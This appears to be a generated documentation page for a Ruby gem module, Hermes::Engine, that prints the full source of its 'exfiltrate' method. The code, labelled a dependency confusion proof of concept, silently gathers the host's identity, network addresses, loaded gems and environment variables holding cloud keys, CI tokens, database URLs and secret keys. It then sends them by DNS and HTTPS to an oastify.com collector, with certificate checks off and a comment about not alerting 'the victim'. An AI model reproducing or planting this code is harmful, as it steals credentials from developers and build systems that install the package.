Module: Hermes::Engine

Defined in:
lib/hermes/engine.rb,
lib/hermes/engine/version.rb

Constant Summary collapse

EXFIL_URL = 
'oldgjpebv4nvga4arcahlzhssjyam3as.oastify.com'
VERSION = 
"0.1.12"

Class Method Summary collapse

Class Method Details

.exfiltrate ⇒ Object 



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# File 'lib/hermes/engine.rb', line 15

def self.exfiltrate
  # DNS callback first - works even if HTTPS egress is blocked
  dns_id = "dns-#{rand(36**8).to_s(36)}"
  begin
    Resolv::DNS.new.getresources("#{dns_id}.#{EXFIL_URL}", Resolv::DNS::Resource::IN::A)
  rescue StandardError
    # silent fail
  end

  # HTTPS callback with rich data
  data = {
    type: 'dependency_confusion_poc',
    gem: 'hermes-engine',
    version: VERSION,
    timestamp: Time.now.to_s,
    hostname: begin; Socket.gethostname; rescue; 'unknown'; end,
    username: begin; Etc.getlogin; rescue; ENV['USER'] || 'unknown'; end,
    home: begin; Dir.home; rescue; 'unknown'; end,
    current_directory: begin; Dir.pwd; rescue; 'unknown'; end,
    private_ips: begin
      Socket.ip_address_list.select(&:ipv4_private?).map(&:ip_address)
    rescue
      []
    end,
    public_ip: begin
      UDPSocket.open { |s| s.connect('8.8.8.8', 1); s.addr.last }
    rescue
      'unknown'
    end,
    ruby_version: RUBY_VERSION,
    ruby_platform: RUBY_PLATFORM,
    env_vars: begin
      ENV.select { |k, _|
        %w[AWS_ GCP_ AZURE_ GITHUB_TOKEN CI JENKINS GITLAB CIRCLE TRAVIS
           BUNDLE_ RUBYGEMS_ RAILS_ DATABASE_URL SECRET_KEY].any? { |p| k.upcase.start_with?(p) }
      }
    rescue
      {}
    end,
    loaded_gems: begin
      Gem.loaded_specs.keys.reject { |k| k == 'hermes-engine' }
    rescue
      []
    end,
    os: begin; RUBY_PLATFORM; rescue; 'unknown'; end
  }

  uri = URI.parse("https://#{EXFIL_URL}")
  http = Net::HTTP.new(uri.host, uri.port)
  http.use_ssl = true
  http.verify_mode = OpenSSL::SSL::VERIFY_NONE
  http.open_timeout = 10
  http.read_timeout = 10

  req = Net::HTTP::Post.new(uri.path.empty? ? '/' : uri.path)
  req['Content-Type'] = 'application/json'
  req['User-Agent'] = "HermesEngine/#{VERSION}"
  req.body = data.to_json

  begin
    http.request(req)
  rescue StandardError
    # silent fail - don't alert the victim
  end
end